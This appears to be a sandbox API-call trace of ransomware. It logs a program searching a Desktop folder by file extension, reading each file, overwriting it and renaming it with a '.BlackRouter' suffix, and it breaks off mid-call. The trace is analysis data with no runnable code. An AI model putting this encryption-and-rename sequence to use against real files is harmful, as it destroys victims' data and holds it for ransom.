lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.asp", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.743] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.java", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.743] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pkg", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.744] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.class", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.744] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.745] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.745] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mp3", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0x1ac59c20 [0039.745] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0039.745] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0039.745] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.745] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", lpFilePart=0x0) returned 0x46 [0039.745] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.745] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\8fbuccyvq6orezdgp.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.745] GetFileType (hFile=0x25c) returned 0x1 [0039.745] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.746] GetFileType (hFile=0x25c) returned 0x1 [0039.746] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x1cfd [0039.746] ReadFile (in: hFile=0x25c, lpBuffer=0x2912fb0, nNumberOfBytesToRead=0x1cfd, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2912fb0*, lpNumberOfBytesRead=0x1ae668*=0x1cfd, lpOverlapped=0x0) returned 1 [0039.746] CloseHandle (hObject=0x25c) returned 1 [0039.748] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", lpFilePart=0x0) returned 0x46 [0039.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.748] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\8fbuccyvq6orezdgp.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.748] GetFileType (hFile=0x25c) returned 0x1 [0039.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.748] GetFileType (hFile=0x25c) returned 0x1 [0039.749] WriteFile (in: hFile=0x25c, lpBuffer=0x29153b0*, nNumberOfBytesToWrite=0x1d00, lpNumberOfBytesWritten=0x1ae6c8, lpOverlapped=0x0 | out: lpBuffer=0x29153b0*, lpNumberOfBytesWritten=0x1ae6c8*=0x1d00, lpOverlapped=0x0) returned 1 [0039.749] CloseHandle (hObject=0x25c) returned 1 [0039.750] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3", lpFilePart=0x0) returned 0x46 [0039.750] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3.BlackRouter", lpFilePart=0x0) returned 0x52 [0039.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.750] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\8fbuccyvq6orezdgp.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4c9530, ftCreationTime.dwHighDateTime=0x1d458ab, ftLastAccessTime.dwLowDateTime=0x2bdfda90, ftLastAccessTime.dwHighDateTime=0x1d45e37, ftLastWriteTime.dwLowDateTime=0xbe3414f0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x1d00)) returned 1 [0039.750] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\8fbuccyvq6orezdgp.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\8FbUCCyvq6OReZDGp.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\8fbuccyvq6orezdgp.mp3.blackrouter")) returned 1 [0039.751] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", lpFilePart=0x0) returned 0x47 [0039.751] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\bf13zc2xqwhs_lbeat.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.752] GetFileType (hFile=0x25c) returned 0x1 [0039.752] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.752] GetFileType (hFile=0x25c) returned 0x1 [0039.752] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0x14c28 [0039.752] ReadFile (in: hFile=0x25c, lpBuffer=0x140b2210, nNumberOfBytesToRead=0x14c28, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x140b2210*, lpNumberOfBytesRead=0x1ae668*=0x14c28, lpOverlapped=0x0) returned 1 [0039.754] CloseHandle (hObject=0x25c) returned 1 [0039.758] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", lpFilePart=0x0) returned 0x47 [0039.758] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\bf13zc2xqwhs_lbeat.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.759] GetFileType (hFile=0x25c) returned 0x1 [0039.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.760] GetFileType (hFile=0x25c) returned 0x1 [0039.760] WriteFile (in: hFile=0x25c, lpBuffer=0x140c6e70*, nNumberOfBytesToWrite=0x14c30, lpNumberOfBytesWritten=0x1ae6c8, lpOverlapped=0x0 | out: lpBuffer=0x140c6e70*, lpNumberOfBytesWritten=0x1ae6c8*=0x14c30, lpOverlapped=0x0) returned 1 [0039.761] CloseHandle (hObject=0x25c) returned 1 [0039.764] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3", lpFilePart=0x0) returned 0x47 [0039.764] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3.BlackRouter", lpFilePart=0x0) returned 0x53 [0039.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.764] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\bf13zc2xqwhs_lbeat.mp3"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53567700, ftCreationTime.dwHighDateTime=0x1d4644a, ftLastAccessTime.dwLowDateTime=0x51817840, ftLastAccessTime.dwHighDateTime=0x1d45f0d, ftLastWriteTime.dwLowDateTime=0xbe367650, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x14c30)) returned 1 [0039.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\bf13zc2xqwhs_lbeat.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\bf13ZC2xqWHs_lbEaT.mp3.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\bf13zc2xqwhs_lbeat.mp3.blackrouter")) returned 1 [0039.765] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.wav", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.766] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.766] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.swf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0x1ac59c20 [0039.766] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 1 [0039.767] FindNextFileW (in: hFindFile=0x1ac59c20, lpFindFileData=0x1ae450 | out: lpFindFileData=0x1ae450) returned 0 [0039.767] FindClose (in: hFindFile=0x1ac59c20 | out: hFindFile=0x1ac59c20) returned 1 [0039.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.767] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", lpFilePart=0x0) returned 0x42 [0039.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\gl41lmqrnrs1p.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.767] GetFileType (hFile=0x25c) returned 0x1 [0039.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.767] GetFileType (hFile=0x25c) returned 0x1 [0039.767] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xd9aa [0039.768] ReadFile (in: hFile=0x25c, lpBuffer=0x2919860, nNumberOfBytesToRead=0xd9aa, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x2919860*, lpNumberOfBytesRead=0x1ae668*=0xd9aa, lpOverlapped=0x0) returned 1 [0039.769] CloseHandle (hObject=0x25c) returned 1 [0039.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", lpFilePart=0x0) returned 0x42 [0039.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.772] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\gl41lmqrnrs1p.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.774] GetFileType (hFile=0x25c) returned 0x1 [0039.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.774] GetFileType (hFile=0x25c) returned 0x1 [0039.774] WriteFile (in: hFile=0x25c, lpBuffer=0x2927910*, nNumberOfBytesToWrite=0xd9b0, lpNumberOfBytesWritten=0x1ae6c8, lpOverlapped=0x0 | out: lpBuffer=0x2927910*, lpNumberOfBytesWritten=0x1ae6c8*=0xd9b0, lpOverlapped=0x0) returned 1 [0039.775] CloseHandle (hObject=0x25c) returned 1 [0039.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf", lpFilePart=0x0) returned 0x42 [0039.776] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf.BlackRouter", lpFilePart=0x0) returned 0x4e [0039.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\gl41lmqrnrs1p.swf"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa651bfc0, ftCreationTime.dwHighDateTime=0x1d456e2, ftLastAccessTime.dwLowDateTime=0xabc98ba0, ftLastAccessTime.dwHighDateTime=0x1d4625d, ftLastWriteTime.dwLowDateTime=0xbe38d7b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xd9b0)) returned 1 [0039.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.777] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\gl41lmqrnrs1p.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\GL41lmqRNrs1P.swf.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\gl41lmqrnrs1p.swf.blackrouter")) returned 1 [0039.777] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", lpFilePart=0x0) returned 0x3f [0039.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\v0rfyhw_f9.swf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.778] GetFileType (hFile=0x25c) returned 0x1 [0039.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.778] GetFileType (hFile=0x25c) returned 0x1 [0039.778] GetFileSize (in: hFile=0x25c, lpFileSizeHigh=0x1ae738 | out: lpFileSizeHigh=0x1ae738*=0x0) returned 0xe467 [0039.778] ReadFile (in: hFile=0x25c, lpBuffer=0x29357e0, nNumberOfBytesToRead=0xe467, lpNumberOfBytesRead=0x1ae668, lpOverlapped=0x0 | out: lpBuffer=0x29357e0*, lpNumberOfBytesRead=0x1ae668*=0xe467, lpOverlapped=0x0) returned 1 [0039.779] CloseHandle (hObject=0x25c) returned 1 [0039.782] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", nBufferLength=0x105, lpBuffer=0x1ae0c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", lpFilePart=0x0) returned 0x3f [0039.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae5a0) returned 1 [0039.782] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\v0rfyhw_f9.swf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\V0rFYHw_F9.swf", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: 